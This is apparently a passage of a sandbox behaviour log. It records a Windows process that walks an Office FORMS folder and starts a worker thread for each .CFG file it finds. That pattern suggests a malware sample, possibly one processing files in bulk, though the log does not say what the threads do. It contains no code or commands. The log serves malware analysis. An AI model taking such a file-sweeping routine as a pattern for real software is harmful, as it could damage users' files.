wcscmp (_String1="REMOTE.CFG", _String2=".") returned 1 [0127.785] wcscmp (_String1="REMOTE.CFG", _String2="..") returned 1 [0127.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4ae70 [0127.786] wcscpy (in: _Dest=0x1cf4ae70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.786] wcscat (in: _Dest=0x1cf4ae70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.786] wcscat (in: _Dest=0x1cf4ae70, _Source="REMOTE.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTE.CFG" [0127.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ae70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988 [0127.787] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTEL.ICO", cAlternateFileName="")) returned 1 [0127.787] wcscmp (_String1="REMOTEL.ICO", _String2=".") returned 1 [0127.787] wcscmp (_String1="REMOTEL.ICO", _String2="..") returned 1 [0127.787] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTES.ICO", cAlternateFileName="")) returned 1 [0127.787] wcscmp (_String1="REMOTES.ICO", _String2=".") returned 1 [0127.787] wcscmp (_String1="REMOTES.ICO", _String2="..") returned 1 [0127.788] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPLTMPL.CFG", cAlternateFileName="")) returned 1 [0127.788] wcscmp (_String1="REPLTMPL.CFG", _String2=".") returned 1 [0127.788] wcscmp (_String1="REPLTMPL.CFG", _String2="..") returned 1 [0127.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4af00 [0127.788] wcscpy (in: _Dest=0x1cf4af00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.788] wcscat (in: _Dest=0x1cf4af00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.788] wcscat (in: _Dest=0x1cf4af00, _Source="REPLTMPL.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" [0127.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4af00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198c [0127.789] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.CFG", cAlternateFileName="")) returned 1 [0127.789] wcscmp (_String1="REPORT.CFG", _String2=".") returned 1 [0127.789] wcscmp (_String1="REPORT.CFG", _String2="..") returned 1 [0127.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4af90 [0127.789] wcscpy (in: _Dest=0x1cf4af90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.789] wcscat (in: _Dest=0x1cf4af90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.789] wcscat (in: _Dest=0x1cf4af90, _Source="REPORT.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" [0127.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4af90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1990 [0127.790] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTL.ICO", cAlternateFileName="")) returned 1 [0127.790] wcscmp (_String1="REPORTL.ICO", _String2=".") returned 1 [0127.791] wcscmp (_String1="REPORTL.ICO", _String2="..") returned 1 [0127.791] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTS.ICO", cAlternateFileName="")) returned 1 [0127.791] wcscmp (_String1="REPORTS.ICO", _String2=".") returned 1 [0127.791] wcscmp (_String1="REPORTS.ICO", _String2="..") returned 1 [0127.791] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESEND.CFG", cAlternateFileName="")) returned 1 [0127.791] wcscmp (_String1="RESEND.CFG", _String2=".") returned 1 [0127.791] wcscmp (_String1="RESEND.CFG", _String2="..") returned 1 [0127.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4b1d0 [0127.791] wcscpy (in: _Dest=0x1cf4b1d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.791] wcscat (in: _Dest=0x1cf4b1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.791] wcscat (in: _Dest=0x1cf4b1d0, _Source="RESEND.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" [0127.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1994 [0127.793] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDL.ICO", cAlternateFileName="")) returned 1 [0127.793] wcscmp (_String1="RESENDL.ICO", _String2=".") returned 1 [0127.793] wcscmp (_String1="RESENDL.ICO", _String2="..") returned 1 [0127.793] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDS.ICO", cAlternateFileName="")) returned 1 [0127.793] wcscmp (_String1="RESENDS.ICO", _String2=".") returned 1 [0127.793] wcscmp (_String1="RESENDS.ICO", _String2="..") returned 1 [0127.793] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216f7400, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x216f7400, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEM.CFG", cAlternateFileName="")) returned 1 [0127.793] wcscmp (_String1="RSSITEM.CFG", _String2=".") returned 1 [0127.793] wcscmp (_String1="RSSITEM.CFG", _String2="..") returned 1 [0127.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4b650 [0127.793] wcscpy (in: _Dest=0x1cf4b650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.793] wcscat (in: _Dest=0x1cf4b650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.793] wcscat (in: _Dest=0x1cf4b650, _Source="RSSITEM.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" [0127.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1998 [0127.795] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecff500, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ecff500, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEML.ICO", cAlternateFileName="")) returned 1 [0127.795] wcscmp (_String1="RSSITEML.ICO", _String2=".") returned 1 [0127.795] wcscmp (_String1="RSSITEML.ICO", _String2="..") returned 1 [0127.795] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081d900, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3081d900, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEMS.ICO", cAlternateFileName="")) returned 1 [0127.800] wcscmp (_String1="RSSITEMS.ICO", _String2=".") returned 1 [0127.800] wcscmp (_String1="RSSITEMS.ICO", _String2="..") returned 1 [0127.800] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLL.ICO", cAlternateFileName="")) returned 1 [0127.800] wcscmp (_String1="SCDCNCLL.ICO", _String2=".") returned 1 [0127.800] wcscmp (_String1="SCDCNCLL.ICO", _String2="..") returned 1 [0127.800] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLS.ICO", cAlternateFileName="")) returned 1 [0127.800] wcscmp (_String1="SCDCNCLS.ICO", _String2=".") returned 1 [0127.800] wcscmp (_String1="SCDCNCLS.ICO", _String2="..") returned 1 [0127.800] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQL.ICO", cAlternateFileName="")) returned 1 [0127.800] wcscmp (_String1="SCDREQL.ICO", _String2=".") returned 1 [0127.800] wcscmp (_String1="SCDREQL.ICO", _String2="..") returned 1 [0127.800] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQS.ICO", cAlternateFileName="")) returned 1 [0127.800] wcscmp (_String1="SCDREQS.ICO", _String2=".") returned 1 [0127.800] wcscmp (_String1="SCDREQS.ICO", _String2="..") returned 1 [0127.801] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNL.ICO", cAlternateFileName="")) returned 1 [0127.801] wcscmp (_String1="SCDRESNL.ICO", _String2=".") returned 1 [0127.801] wcscmp (_String1="SCDRESNL.ICO", _String2="..") returned 1 [0127.801] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNS.ICO", cAlternateFileName="")) returned 1 [0127.801] wcscmp (_String1="SCDRESNS.ICO", _String2=".") returned 1 [0127.801] wcscmp (_String1="SCDRESNS.ICO", _String2="..") returned 1 [0127.801] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPL.ICO", cAlternateFileName="")) returned 1 [0127.801] wcscmp (_String1="SCDRESPL.ICO", _String2=".") returned 1 [0127.801] wcscmp (_String1="SCDRESPL.ICO", _String2="..") returned 1 [0127.801] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPS.ICO", cAlternateFileName="")) returned 1 [0127.829] wcscmp (_String1="SCDRESPS.ICO", _String2=".") returned 1 [0127.852] wcscmp (_String1="SCDRESPS.ICO", _String2="..") returned 1 [0127.852] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTL.ICO", cAlternateFileName="")) returned 1 [0127.852] wcscmp (_String1="SCDRESTL.ICO", _String2=".") returned 1 [0127.852] wcscmp (_String1="SCDRESTL.ICO", _String2="..") returned 1 [0127.852] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTS.ICO", cAlternateFileName="")) returned 1 [0127.852] wcscmp (_String1="SCDRESTS.ICO", _String2=".") returned 1 [0127.852] wcscmp (_String1="SCDRESTS.ICO", _String2="..") returned 1 [0127.852] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDCNCL.CFG", cAlternateFileName="")) returned 1 [0127.852] wcscmp (_String1="SCHDCNCL.CFG", _String2=".") returned 1 [0127.852] wcscmp (_String1="SCHDCNCL.CFG", _String2="..") returned 1 [0127.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4b380 [0127.852] wcscpy (in: _Dest=0x1cf4b380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0127.852] wcscat (in: _Dest=0x1cf4b380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0127.852] wcscat (in: _Dest=0x1cf4b380, _Source="SCHDCNCL.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDCNCL.CFG" [0152.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1568 [0152.320] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabc91200, ftCreationTime.dwHighDateTime=0x1bfc4b1, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabc91200, ftLastWriteTime.dwHighDateTime=0x1bfc4b1, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREQ.CFG", cAlternateFileName="")) returned 1 [0152.320] wcscmp (_String1="SCHDREQ.CFG", _String2=".") returned 1 [0152.320] wcscmp (_String1="SCHDREQ.CFG", _String2="..") returned 1 [0152.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a52b0 [0152.320] wcscpy (in: _Dest=0x202a52b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.320] wcscat (in: _Dest=0x202a52b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.320] wcscat (in: _Dest=0x202a52b0, _Source="SCHDREQ.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" [0152.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a52b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214c [0152.321] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESN.CFG", cAlternateFileName="")) returned 1 [0152.321] wcscmp (_String1="SCHDRESN.CFG", _String2=".") returned 1 [0152.321] wcscmp (_String1="SCHDRESN.CFG", _String2="..") returned 1 [0152.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a41d0 [0152.321] wcscpy (in: _Dest=0x202a41d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.321] wcscat (in: _Dest=0x202a41d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.321] wcscat (in: _Dest=0x202a41d0, _Source="SCHDRESN.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" [0152.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a41d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2148 [0152.322] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESP.CFG", cAlternateFileName="")) returned 1 [0152.322] wcscmp (_String1="SCHDRESP.CFG", _String2=".") returned 1 